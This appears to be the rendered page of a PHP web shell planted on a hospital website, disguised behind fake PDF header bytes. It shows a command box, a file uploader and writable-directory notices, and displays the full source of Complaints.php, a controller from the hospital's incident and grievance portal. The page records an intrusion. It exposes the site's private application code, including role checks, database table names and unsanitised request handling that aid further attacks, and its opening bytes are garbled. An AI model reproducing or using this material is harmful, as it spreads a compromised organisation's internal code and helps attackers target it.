%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/incident/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/incident/application/controllers/Complaints.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
class Complaints extends MY_Controller
{
	public function __construct()
    {
         parent::__construct();
		 $this->load->library('form_validation','session');
		 $this->load->Model('Common_model');
		 if(! $_SESSION['ADMIN_DETAILS']['id']) {
			redirect('admin');
		}
		 
	}
	
	/*
	* Function: index
	*/
	
    public function index($page = 0)
    {
        $data = array();
        $head = array();
		// Validate Session Exist Or Not
		validate_session();
	}
	
	/*
	* Function : newgrievance
	*/
	public function newgrievance ()
	{
		$data = array();
        $head = array();
		$processedComplaints = array('status'=>'Not Processed');
		$where_id = '';
		if(in_array($_SESSION['ADMIN_DETAILS']['role'], array('3','2','1','7'))) {
			$processedComplaints= array(); 
		} else if(!empty($_SESSION['MODULE_LIST']) && $_SESSION['ADMIN_DETAILS']['role']>3) {
			if($_SESSION['ADMIN_DETAILS']['category']=='Non-academic'){ 
				if($_SESSION['ADMIN_DETAILS']['department_id']) {
					$processedComplaints= array('department_id'=>$_SESSION['ADMIN_DETAILS']['department_id']); 
				} else {
					$processedComplaints= array('category'=>$_SESSION['ADMIN_DETAILS']['category']); 
				}
				
			} else if($_SESSION['ADMIN_DETAILS']['category']=='International'){ 
				if($_SESSION['ADMIN_DETAILS']['department_id']) {
					$processedComplaints= array('department_id'=>$_SESSION['ADMIN_DETAILS']['department_id'],'school_id'=>$_SESSION['ADMIN_DETAILS']['school_id']);
				} else {
					$processedComplaints= array('category'=>$_SESSION['ADMIN_DETAILS']['category'],'school_id'=>$_SESSION['ADMIN_DETAILS']['school_id']);
				}
				
			} else { 
				if($_SESSION['ADMIN_DETAILS']['department_id']) {
					$processedComplaints= array('department_id'=>$_SESSION['ADMIN_DETAILS']['department_id'],'school_id'=>$_SESSION['ADMIN_DETAILS']['school_id']);
				} else {
					$processedComplaints= array('school_id'=>$_SESSION['ADMIN_DETAILS']['school_id']);
				}
				$where_id = explode(',',$_SESSION['ADMIN_DETAILS']['ngrievance_type']);
			}
			
		}
		
		// Set Table Name
		$tbl_name = 'tblcomplaints'; 
		if($_SESSION['ADMIN_DETAILS']['user_level']=='L2') {
			$data['l1Array'] = $this->Common_model->getAllRecords($tbl_name,'*',$processedComplaints, array('complaintNumber'=>'desc'));
		}
		
		$order_by = array('regDate'=>'ASC');
		
		if(in_array($_SESSION['ADMIN_DETAILS']['role'], array('4','5','6'))){
			$data['responseArray'] = $this->Common_model->getAllComonInListBYRemarks(array('complaintremark.assigned_department_id'=>$_SESSION['ADMIN_DETAILS']['department_id']));
		} else {
			$data['responseArray'] = $this->Common_model->getAllComonInList($tbl_name,'*',NULL, array('complaintNumber'=>'desc'),$where_id);
		}
		
		
		
		// Validate Session Exist Or Not
		validate_session();
		// School Array
	    $data['schoolArray'] = $this->Common_model->getSchoolList('su_schools');		
		// Department Array
		$data['departmentArray'] = $this->Common_model->getDepartmentList('su_departments');
		// Get grievance Array
		$data['grievanceArray'] = $this->Common_model->getGrievanceList('grievance_type');
	
		$arrSeo = $this->Public_model->getSeo('newgrievance');
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'New Grievance - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('newgrievance', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}
	
	/*
	* Function : notprocessedgrievance
	*/
	public function notprocessedgrievance ()
	{
		$data = array();
        $head = array();
		$processedComplaints = array('status'=>'Not Processed');
		$where_id = '';
		if($_SESSION['ADMIN_DETAILS']['role']<=3) {
			$processedComplaints= array(); 
		} else if(!empty($_SESSION['MODULE_LIST']) && $_SESSION['ADMIN_DETAILS']['role']>3) {
			if($_SESSION['ADMIN_DETAILS']['category']=='Non-academic'){ 
				if($_SESSION['ADMIN_DETAILS']['department_id']) {
					$processedComplaints= array('department_id'=>$_SESSION['ADMIN_DETAILS']['department_id']); 
				} else {
					$processedComplaints= array('category'=>$_SESSION['ADMIN_DETAILS']['category']); 
				}
				
			} else if($_SESSION['ADMIN_DETAILS']['category']=='International'){ 
				if($_SESSION['ADMIN_DETAILS']['department_id']) {
					$processedComplaints= array('department_id'=>$_SESSION['ADMIN_DETAILS']['department_id'],'school_id'=>$_SESSION['ADMIN_DETAILS']['school_id']);
				} else {
					$processedComplaints= array('category'=>$_SESSION['ADMIN_DETAILS']['category'],'school_id'=>$_SESSION['ADMIN_DETAILS']['school_id']);
				}
				
			} else { 
				if($_SESSION['ADMIN_DETAILS']['department_id']) {
					$processedComplaints= array('department_id'=>$_SESSION['ADMIN_DETAILS']['department_id'],'school_id'=>$_SESSION['ADMIN_DETAILS']['school_id']);
				} else {
					$processedComplaints= array('school_id'=>$_SESSION['ADMIN_DETAILS']['school_id']);
				}
				$where_id = explode(',',$_SESSION['ADMIN_DETAILS']['ngrievance_type']);
			}
			
		}
		
		// Set Table Name
		$tbl_name = 'tblcomplaints'; 
		if($_SESSION['ADMIN_DETAILS']['user_level']=='L2') {
			$data['l1Array'] = $this->Common_model->getAllRecords($tbl_name,'*',$processedComplaints, array('complaintNumber'=>'desc'));
		}
		if($_SESSION['ADMIN_DETAILS']['user_level']=='L2') { $tbl_name = 'tbl_leveltwo_complaints';$where_id = ''; } else if($_SESSION['ADMIN_DETAILS']['user_level']=='L3'){ $tbl_name = 'tbl_levelthree_complaints';$where_id = ''; $processedComplaints= array('status'=>'Not Processed');} else if($_SESSION['ADMIN_DETAILS']['user_level']=='L4') { $tbl_name = 'tbl_levelfour_complaints';$where_id = ''; $processedComplaints= array('status'=>'Not Processed');}
		$order_by = array('regDate'=>'ASC');
		
		if(in_array($_SESSION['ADMIN_DETAILS']['role'], array('4','5','6'))){
			$data['responseArray'] = $this->Common_model->getAllComonInListBYRemarks(array('complaintremark.assigned_department_id'=>$_SESSION['ADMIN_DETAILS']['department_id']));
		} else {
			$processedComplaints= array('status'=>'Not Processed');
			$data['responseArray'] = $this->Common_model->getAllComonInList($tbl_name,'*',$processedComplaints, array('complaintNumber'=>'desc'),$where_id);
		}
		
		
		
		// Validate Session Exist Or Not
		validate_session();
		// School Array
	    $data['schoolArray'] = $this->Common_model->getSchoolList('su_schools');		
		// Department Array
		$data['departmentArray'] = $this->Common_model->getDepartmentList('su_departments');
		// Get grievance Array
		$data['grievanceArray'] = $this->Common_model->getGrievanceList('grievance_type');
	
		$arrSeo = $this->Public_model->getSeo('newgrievance');
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'New Grievance - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('newgrievance', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}
	
	/*
	* Function : takeaction
	*/

	public function takeaction(){
		
		$data = array();
        $head = array();
		
		$action_id=$_GET['cid'];
		$tble_name = 'tbl_department_action_details';	
		if($_POST){
			
			
            $params = array();
			$params['prevention_analysis'] = implode(',',$_POST['prevention_analysis']);
			$params['issue_master'] = implode(',',$_POST['issue_master']);
			$params['contributory_factors'] = implode(',',$_POST['contributory_factors']);
			$params['analysis_background'] = $_POST['analysis_background'];
			$params['error_type'] = implode(',',$_POST['error_type']);
			$params['action_taken'] = implode(',',$_POST['action_taken']);
			$params['corrective_action'] = $_POST['corrective_action'];
			$params['preventive_action'] = $_POST['preventive_action'];
			$params['why_comments_one'] = $_POST['why_comments_one'];
			$params['why_comments_two'] = $_POST['why_comments_two'];
			$params['why_comments_three'] = $_POST['why_comments_three'];
			$params['why_comments_four'] = $_POST['why_comments_four'];
			$params['incident_category'] = $_POST['incident_category'];
			$params['why_comments_five'] = $_POST['why_comments_five'];
			$params['complaint_id'] = $_POST['cid'];
			$params['oth_contributory_factors'] = $_POST['oth_contributory_factors'];
			$params['other_service_issue'] = $_POST['other_service_issue'];
			$params['department_id'] = $_SESSION['ADMIN_DETAILS']['department_id'];
			$params['user_id'] = $_SESSION['ADMIN_DETAILS']['id'];
			
			$records = $this->Common_model->getSingleRecord($tble_name,' * ', array('complaint_id'=>$_POST['cid'],'department_id'=>$_SESSION['ADMIN_DETAILS']['department_id'])); 
			if(!empty($records)){
				$lastId = $records['id'];
				$params['modifiedon'] = date('Y-m-d H:i:s');
				$this->Common_model->updateinfo($tble_name,$params,'id',$lastId);
			} else {
				$params['created_on'] = date('Y-m-d H:i:s');
				$params['status'] = '1';
				$lastId = $this->Common_model->saveinfo($tble_name,$params);
			}
			if($lastId){
				
				$complaintRecords = $this->Common_model->getSingleRecord('tblcomplaints',' * ', array('complaintNumber'=>$_POST['cid'])); 
				
				$remark = "The Concern Department's feedback submitted, process escalated to next level";
				$status = 'closed';
				$userId = $complaintRecords['userId'];
				$assigned_department_id = '2';
				$incident_department_id = $_SESSION['ADMIN_DETAILS']['department_id'];
				$department_status = '1';
				$complaintNumber = $complaintRecords['compNumber'];
				
				$lastId = $this->Common_model->saveinfo('complaintremark',array('complaintNumber'=>$complaintNumber, 'assigned_department_id'=>$assigned_department_id, 'incident_department_id'=>$incident_department_id, 'status'=>$status,'userId'=>$userId,'remark'=>$remark,'department_status'=>$department_status));
				
				$this->Common_model->updateinfo('tblcomplaints',array('department_id'=>'2'),'complaintNumber',$complaintRecords['complaintNumber']);
				
				$this->session->set_flashdata('success', '<span class="alert alert-success">Department level feedback added successfully</span>');
				
				/******** SEND ALERT EMAIL **********/
			    $userDetails = $this->Common_model->getSingleRecord('grievance_users','*', array('id'=>$complaintRecords['userId']));
				$this->sendInprogressSMSEmail($userDetails,$complaintRecords);
				/******** SEND ALERT EMAIL END HERE **********/	
				
				// Send Email to Related Departments
				$departmentDetails = $this->Common_model->getSingleRecord('admin','*',array('status'=>'1','is_deleted'=>'0','department_id'=>'2'));
				
				$this->sendInprogressAlertEmail($departmentDetails,$complaintRecords,$remark);
				
				redirect('complaints/viewdetails?cid='.$_POST['cid']);
			}
				
		}
		$data['preventionArray']  = $this->Common_model->getAllRecords('tbl_prevention_analysis','*',array('is_deleted'=>'0')); 
		
		$data['incidentissueArray']  = $this->Common_model->getAllRecords('tbl_incidentissue_master','*',array('is_deleted'=>'0')); 
		$issueArray = $this->Common_model->getAllRecords('tbl_medication_issue','*',array('is_deleted'=>'0')); 
		$issueMasterArray = array();
		foreach($issueArray as $srow){
			$issueMasterArray[$srow['issue_type']][] = $srow;
		}
		$data['issueArray']  = $issueMasterArray;
		
		$data['contributoryArray']  = $this->Common_model->getAllRecords('tbl_contributory_factors','*',array('is_deleted'=>'0')); 
		$data['terrorArray']  = $this->Common_model->getAllRecords('tbl_error_type','*',array('is_deleted'=>'0')); 
		$data['actionArray']  = $this->Common_model->getAllRecords('tbl_action_taken','*',array('is_deleted'=>'0')); 
	
		if(isset($action_id)) {
			$_POST = $this->Common_model->getSingleRecord($tble_name,' * ', array('complaint_id'=>$action_id,'department_id'=>$_SESSION['ADMIN_DETAILS']['department_id'])); 
			//print_r($_POST); die;
			
        }
		
		$arrSeo = $this->Public_model->getSeo('newgrievance');
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'New Grievance - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('takeaction', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}
	
	/*
	* Function : viewremarks
	*/

	public function viewremarks(){
		
		$data = array();
        $head = array();
		
		$action_id=$_GET['cid'];
		$tble_name = 'tbl_department_action_details';	
		if($_POST){
			
			
            $params = array();
			$params['prevention_analysis'] = implode(',',$_POST['prevention_analysis']);
			$params['issue_master'] = implode(',',$_POST['issue_master']);
			$params['contributory_factors'] = implode(',',$_POST['contributory_factors']);
			$params['analysis_background'] = $_POST['analysis_background'];
			$params['error_type'] = implode(',',$_POST['error_type']);
			$params['action_taken'] = implode(',',$_POST['action_taken']);
			$params['corrective_action'] = $_POST['corrective_action'];
			$params['preventive_action'] = $_POST['preventive_action'];
			$params['why_comments_one'] = $_POST['why_comments_one'];
			$params['why_comments_two'] = $_POST['why_comments_two'];
			$params['why_comments_three'] = $_POST['why_comments_three'];
			$params['why_comments_four'] = $_POST['why_comments_four'];
			$params['why_comments_five'] = $_POST['why_comments_five'];
			$params['tab_others'] = $_POST['tab_others'];
			$params['complaint_id'] = $_POST['cid'];
			$params['department_id'] = $_SESSION['ADMIN_DETAILS']['department_id'];
			$params['user_id'] = $_SESSION['ADMIN_DETAILS']['id'];
			
			$records = $this->Common_model->getSingleRecord($tble_name,' * ', array('complaint_id'=>$_POST['cid'],'department_id'=>$_SESSION['ADMIN_DETAILS']['department_id'])); 
			if(!empty($records)){
				$lastId = $records['id'];
				$params['modifiedon'] = date('Y-m-d H:i:s');
				$this->Common_model->updateinfo($tble_name,$params,'id',$lastId);
			} else {
				$params['created_on'] = date('Y-m-d H:i:s');
				$params['status'] = '1';
				$lastId = $this->Common_model->saveinfo($tble_name,$params);
			}
			
			if($lastId){
				
				$complaintRecords = $this->Common_model->getSingleRecord('tblcomplaints',' * ', array('complaintNumber'=>$_POST['cid'])); 
				
				$remark = 'The Concern Department has submitted their feedback and closed the incident.';
				$status = 'in process';
				$userId = $_SESSION['ADMIN_DETAILS']['id'];
				$assigned_department_id = '2';
				$department_status = '1';
				
				$complaintNumber = $complaintRecords['compNumber'];
				$cmp_id = $complaintRecords['complaintNumber'];
				$lastId = $this->Common_model->saveinfo('complaintremark',array('complaintNumber'=>$complaintNumber, 'assigned_department_id'=>$assigned_department_id, 'status'=>$status,'userId'=>$userId,'remark'=>$remark,'department_status'=>$department_status));
				
				$this->Common_model->updateinfo('tblcomplaints',array('department_id'=>'2','lastUpdationDate'=>date("Y-m-d H:i:s")),'complaintNumber ',$cmp_id );
				
				$this->session->set_flashdata('success', '<span class="alert alert-success">Department level feedback added successfully</span>');
				redirect('complaints/viewdetails?cid=4');
			}
				
		}
		$data['preventionArray']  = $this->Common_model->getAllRecords('tbl_prevention_analysis','*',array('is_deleted'=>'0')); 
		
		$data['incidentissueArray']  = $this->Common_model->getAllRecords('tbl_incidentissue_master','*',array('is_deleted'=>'0')); 
		$issueArray = $this->Common_model->getAllRecords('tbl_medication_issue','*',array('is_deleted'=>'0')); 
		$issueMasterArray = array();
		foreach($issueArray as $srow){
			$issueMasterArray[$srow['issue_type']][] = $srow;
		}
		$data['issueArray']  = $issueMasterArray;
		
		$data['contributoryArray']  = $this->Common_model->getAllRecords('tbl_contributory_factors','*',array('is_deleted'=>'0')); 
		$data['terrorArray']  = $this->Common_model->getAllRecords('tbl_error_type','*',array('is_deleted'=>'0')); 
		$data['actionArray']  = $this->Common_model->getAllRecords('tbl_action_taken','*',array('is_deleted'=>'0')); 
	
		if(isset($action_id)) {
			$_POST = $this->Common_model->getSingleRecord($tble_name,' * ', array('id'=>$action_id)); 
			
        }
		
		$arrSeo = $this->Public_model->getSeo('newgrievance');
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'New Grievance - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('viewremarks', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}
	/*
	* Function : pendinggrievance
	*/
	public function pendinggrievance ()
	{
		$data = array();
        $head = array();
		// Validate Session Exist Or Not
		validate_session();
		$pendingComplaints = array('status'=>'in Process');
		if(in_array($_SESSION['ADMIN_DETAILS']['role'], array('1','2','3','7'))){
			$pendingComplaints= array('status'=>'in Process'); 
		} else if(!empty($_SESSION['MODULE_LIST']) && $_SESSION['ADMIN_DETAILS']['role']>3) {
			$condition = array();
			if($_SESSION['ADMIN_DETAILS']['category']=='Non-academic'){ 
				if($_SESSION['ADMIN_DETAILS']['department_id']){
				$pendingComplaints= array('department_id'=>$_SESSION['ADMIN_DETAILS']['department_id'],'status'=>'in Process'); 
				} else {
					$pendingComplaints= array('category'=>$_SESSION['ADMIN_DETAILS']['category'],'status'=>'in Process'); 
				}
			}  else if($_SESSION['ADMIN_DETAILS']['category']=='International'){ 
				if($_SESSION['ADMIN_DETAILS']['department_id']) {
					$pendingComplaints= array('department_id'=>$_SESSION['ADMIN_DETAILS']['department_id'],'school_id'=>$_SESSION['ADMIN_DETAILS']['school_id'],'status'=>'in Process');
				} else {
					$pendingComplaints= array('category'=>$_SESSION['ADMIN_DETAILS']['category'],'school_id'=>$_SESSION['ADMIN_DETAILS']['school_id'],'status'=>'in Process');
				}
			} else { 
				if($_SESSION['ADMIN_DETAILS']['department_id']) {
					$pendingComplaints= array('department_id'=>$_SESSION['ADMIN_DETAILS']['department_id'],'school_id'=>$_SESSION['ADMIN_DETAILS']['school_id'],'status'=>'in Process');
				} else {
					$pendingComplaints= array('school_id'=>$_SESSION['ADMIN_DETAILS']['school_id'],'status'=>'in Process');
				}
				$where_id = explode(',',$_SESSION['ADMIN_DETAILS']['ngrievance_type']);

			}
		}
		
		// Set Table Name
		$tbl_name = 'tblcomplaints'; 
		
		if($_SESSION['ADMIN_DETAILS']['user_level']=='L2') {
			$data['l1Array'] = $this->Common_model->getAllRecords($tbl_name,'*',$pendingComplaints, array('complaintNumber'=>'desc'));
		}
				
		if($_SESSION['ADMIN_DETAILS']['role']=='4'){
			
			$data['responseArray'] = $this->Common_model->getAllComonInListBYRemarks(array('complaintremark.status'=>'in process','tblcomplaints.department_id'=>$_SESSION['ADMIN_DETAILS']['department_id']));
		} else {
			$data['responseArray'] = $this->Common_model->getAllComonInList($tbl_name,'*',$pendingComplaints, array('complaintNumber'=>'desc'),$where_id);
		}
		
		//$data['responseArray'] = $this->Common_model->getAllRecords($tbl_name,'*',$pendingComplaints, array('complaintNumber'=>'desc'));
		

		// School Array
	    $data['schoolArray'] = $this->Common_model->getSchoolList('su_schools');		
		// Department Array
		$data['departmentArray'] = $this->Common_model->getDepartmentList('su_departments');
		// Get grievance Array
		$data['grievanceArray'] = $this->Common_model->getGrievanceList('grievance_type');
		$arrSeo = $this->Public_model->getSeo('pendinggrievance');
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'New Grievance - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('pendinggrievance', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}
	/*
	* Function : pushbackincident
	*/
	public function pushbackincident ()
	{
		$data = array();
        $head = array();
		// Validate Session Exist Or Not
		validate_session();
		$pendingComplaints = array('status'=>'push back');
		if(in_array($_SESSION['ADMIN_DETAILS']['role'], array('1','2','3','7'))){
			$pendingComplaints= array('status'=>'push back'); 
		} else if(!empty($_SESSION['MODULE_LIST']) && $_SESSION['ADMIN_DETAILS']['role']>3) {
			$condition = array();
			if($_SESSION['ADMIN_DETAILS']['category']=='Non-academic'){ 
				if($_SESSION['ADMIN_DETAILS']['department_id']){
				$pendingComplaints= array('department_id'=>$_SESSION['ADMIN_DETAILS']['department_id'],'status'=>'push back'); 
				} else {
					$pendingComplaints= array('category'=>$_SESSION['ADMIN_DETAILS']['category'],'status'=>'push back'); 
				}
			}  else if($_SESSION['ADMIN_DETAILS']['category']=='International'){ 
				if($_SESSION['ADMIN_DETAILS']['department_id']) {
					$pendingComplaints= array('department_id'=>$_SESSION['ADMIN_DETAILS']['department_id'],'school_id'=>$_SESSION['ADMIN_DETAILS']['school_id'],'status'=>'push back');
				} else {
					$pendingComplaints= array('category'=>$_SESSION['ADMIN_DETAILS']['category'],'school_id'=>$_SESSION['ADMIN_DETAILS']['school_id'],'status'=>'push back');
				}
			} else { 
				if($_SESSION['ADMIN_DETAILS']['department_id']) {
					$pendingComplaints= array('department_id'=>$_SESSION['ADMIN_DETAILS']['department_id'],'school_id'=>$_SESSION['ADMIN_DETAILS']['school_id'],'status'=>'push back');
				} else {
					$pendingComplaints= array('school_id'=>$_SESSION['ADMIN_DETAILS']['school_id'],'status'=>'push back');
				}
				$where_id = explode(',',$_SESSION['ADMIN_DETAILS']['ngrievance_type']);

			}
		}
		
		// Set Table Name
		$tbl_name = 'tblcomplaints'; 
		
		if($_SESSION['ADMIN_DETAILS']['user_level']=='L2') {
			$data['l1Array'] = $this->Common_model->getAllRecords($tbl_name,'*',$pendingComplaints, array('complaintNumber'=>'desc'));
		}
				
		if($_SESSION['ADMIN_DETAILS']['role']=='4'){
			
			$data['responseArray'] = $this->Common_model->getAllComonInListBYRemarks(array('complaintremark.status'=>'in process','tblcomplaints.department_id'=>$_SESSION['ADMIN_DETAILS']['department_id']));
		} else {
			$data['responseArray'] = $this->Common_model->getAllComonInList($tbl_name,'*',$pendingComplaints, array('complaintNumber'=>'desc'),$where_id);
		}
		
		//$data['responseArray'] = $this->Common_model->getAllRecords($tbl_name,'*',$pendingComplaints, array('complaintNumber'=>'desc'));
		

		// School Array
	    $data['schoolArray'] = $this->Common_model->getSchoolList('su_schools');		
		// Department Array
		$data['departmentArray'] = $this->Common_model->getDepartmentList('su_departments');
		// Get grievance Array
		$data['grievanceArray'] = $this->Common_model->getGrievanceList('grievance_type');
		$arrSeo = $this->Public_model->getSeo('pushbackincident');
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'Push Back Incident - Sharda Incident Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('pushbackincident', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}
	
	/*
	* Function : closedgrievance
	*/
	public function closedgrievance ()
	{
		$data = array();
        $head = array();
		// Validate Session Exist Or Not
		validate_session();
		$closedComplaints = array('status'=>'closed');
	
		if(in_array($_SESSION['ADMIN_DETAILS']['role'], array('1','2','3','7'))) {
			$closedComplaints = array('status'=>'closed');
		} else if(!empty($_SESSION['MODULE_LIST']) && $_SESSION['ADMIN_DETAILS']['role'] !='10') {
			$condition = array();
			if($_SESSION['ADMIN_DETAILS']['category']=='Non-academic'){ 
				if($_SESSION['ADMIN_DETAILS']['department_id']) {
				$closedComplaints= array('department_id'=>$_SESSION['ADMIN_DETAILS']['department_id'], 'status'=>'closed'); 
				} else {
					$closedComplaints= array('category'=>$_SESSION['ADMIN_DETAILS']['category'], 'status'=>'closed');
				}
			}  else if($_SESSION['ADMIN_DETAILS']['category']=='International'){ 
				if($_SESSION['ADMIN_DETAILS']['department_id']) {
					$closedComplaints= array('department_id'=>$_SESSION['ADMIN_DETAILS']['department_id'],'school_id'=>$_SESSION['ADMIN_DETAILS']['school_id'],'status'=>'closed');
				} else {
					$closedComplaints= array('category'=>$_SESSION['ADMIN_DETAILS']['category'],'school_id'=>$_SESSION['ADMIN_DETAILS']['school_id'],'status'=>'closed');
				}
			} else { 
				if($_SESSION['ADMIN_DETAILS']['department_id']) {
				   $closedComplaints= array('department_id'=>$_SESSION['ADMIN_DETAILS']['department_id'],'school_id'=>$_SESSION['ADMIN_DETAILS']['school_id'],'status'=>'closed');
				} else {
					$closedComplaints= array('school_id'=>$_SESSION['ADMIN_DETAILS']['school_id'],'status'=>'closed');
				}
				$where_id = explode(',',$_SESSION['ADMIN_DETAILS']['ngrievance_type']);
				
			}
		}
		
		// Set Table Name
		$tbl_name = 'tblcomplaints'; 
		
		if($_SESSION['ADMIN_DETAILS']['user_level']=='L2') {
			$data['l1Array'] = $this->Common_model->getAllRecords($tbl_name,'*',$closedComplaints, array('complaintNumber'=>'desc'));
		}
		
		//$data['responseArray'] = $this->Common_model->getAllRecords($tbl_name,'*',$closedComplaints, array('complaintNumber'=>'desc'));
		if($_SESSION['ADMIN_DETAILS']['role']=='4'){
			$data['responseArray'] = $this->Common_model->getAllComonInListBYRemarks(array('complaintremark.status'=>'closed','complaintremark.incident_department_id'=>$_SESSION['ADMIN_DETAILS']['department_id'],'complaintremark.department_status'=>'1'));
			
		} else if($_SESSION['ADMIN_DETAILS']['role']=='5'){
			$data['responseArray'] = $this->Common_model->getAllComonInListBYRemarks(array('complaintremark.status'=>'closed','complaintremark.incident_department_id'=>$_SESSION['ADMIN_DETAILS']['department_id'],'complaintremark.levelone_status'=>'1'));
		} else if($_SESSION['ADMIN_DETAILS']['role']=='6'){
			$data['responseArray'] = $this->Common_model->getAllComonInListBYRemarks(array('complaintremark.status'=>'closed','complaintremark.incident_department_id'=>$_SESSION['ADMIN_DETAILS']['department_id'],'complaintremark.leveltwo_status'=>'1'));
		} else {
			$data['responseArray'] = $this->Common_model->getAllComonInList($tbl_name,'*',$closedComplaints, array('complaintNumber'=>'desc'),$where_id);
		}
		

		// School Array
	    $data['schoolArray'] = $this->Common_model->getSchoolList('su_schools');		
		// Department Array
		$data['departmentArray'] = $this->Common_model->getDepartmentList('su_departments');
		// Get grievance Array
		$data['grievanceArray'] = $this->Common_model->getGrievanceList('grievance_type');
		$arrSeo = $this->Public_model->getSeo('closedgrievance');
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'New Grievance - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('closedgrievance', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}
	
	/*
	* Function : viewdetails
	*/
	public function viewdetails()
	{
		$data = array();
        $head = array();
        $arrSeo = $this->Public_model->getSeo('viewdetails');
		$id = $_GET['cid'];
		$data['take_action']=true;
		// Validate Session Exist Or Not
		validate_session();
		
		// Set Table Name
		$tbl_name = 'tblcomplaints'; 
		$tbl_complaint_name = 'complaintremark'; 
		$inprogress = '2';
		$closed = '3';
			
		// Get Count
		if($id>0) {
			$data['complaintDetails'] = $complaintDetails = $this->Common_model->getSingleRecord($tbl_name,'*', array('complaintNumber'=>$id));
			$data['complaintremark'] = $this->Common_model->getAllRecords($tbl_complaint_name,'*',array('is_deleted'=>'0','complaintNumber'=>$complaintDetails['compNumber']),array('id'=>'desc'));
			$data['showcomplaintremark'] = $this->Common_model->getAllRecords($tbl_complaint_name,'*',array('is_deleted'=>'0','complaintNumber'=>$complaintDetails['compNumber']),array('id'=>'ASC'));
			$data['complaintAllremark'] = $this->Common_model->getAllRecords($tbl_complaint_name,'*',array('is_deleted'=>'0','complaintNumber'=>$complaintDetails['compNumber']),array('id'=>'asc'));
			
			if($complaintDetails['incident_by']=='1'){
				$data['userDetails'] = $this->Common_model->getSingleRecord('admin','id, createdon as regDate,username as userEmail,mobile_no as contactNo,category as programme_name', array('id'=>$complaintDetails['userId']));
				
			} else {
				$data['userDetails'] = $this->Common_model->getSingleRecord('grievance_users','*', array('id'=>$complaintDetails['userId']));
			}
			
			if(empty($data['complaintDetails']) && $_SESSION['ADMIN_DETAILS']['user_level']=='L2'){
				$tbl_name = 'tblcomplaints'; 
				$tbl_complaint_name = 'complaintremark';
				$data['complaintDetails'] = $complaintDetails = $this->Common_model->getSingleRecord($tbl_name,'*', array('complaintNumber'=>$id));
				$data['complaintremark'] = $this->Common_model->getAllRecords($tbl_complaint_name,'*',array('is_deleted'=>'0','complaintNumber'=>$complaintDetails['compNumber']));
				$data['userDetails'] = $this->Common_model->getSingleRecord('grievance_users','*', array('id'=>$complaintDetails['userId']));
				$data['take_action']=false;
			}
		}

		$deparementMaster = $this->Common_model->getAllRecords('su_departments', 'id,name', array('is_deleted'=>'0','status'=>'1'));
		
		$finalDepartment = array();
		foreach($deparementMaster as $drow){
			$finalDepartment[$drow['id']] = $drow['name'];
		}
		$data['deptArray'] = $finalDepartment;
		if($_SESSION['ADMIN_DETAILS']['role']=='1' || $_SESSION['ADMIN_DETAILS']['role']=='10'){
			$data['historyLevelTwoArray'] = $this->Common_model->getSingleRecord('tbl_leveltwo_complaints','*', array('compNumber'=>$complaintDetails['compNumber']));
			$data['complaintl2remarks'] = $this->Common_model->getAllRecords('tbl_leveltwo_complaintremark','*',array('is_deleted'=>'0','complaintNumber'=>$complaintDetails['compNumber']));
			$data['historyLevelThreeArray'] = $this->Common_model->getSingleRecord('tbl_levelthree_complaints','*', array('compNumber'=>$complaintDetails['compNumber']));
			$data['complaintl3remarks'] = $this->Common_model->getAllRecords('tbl_levelthree_complaintremark','*',array('is_deleted'=>'0','complaintNumber'=>$complaintDetails['compNumber']));
			$grievanceArray = $this->Common_model->getSingleRecord('grievance_type','*',array('id'=>$complaintDetails['grievance_type'],'status'=>'1'));
			$data['complaintlevelemail'] = '';
			//New,pending,closed grievances of Level 1
			if($complaintDetails['complaint_level']<=3){
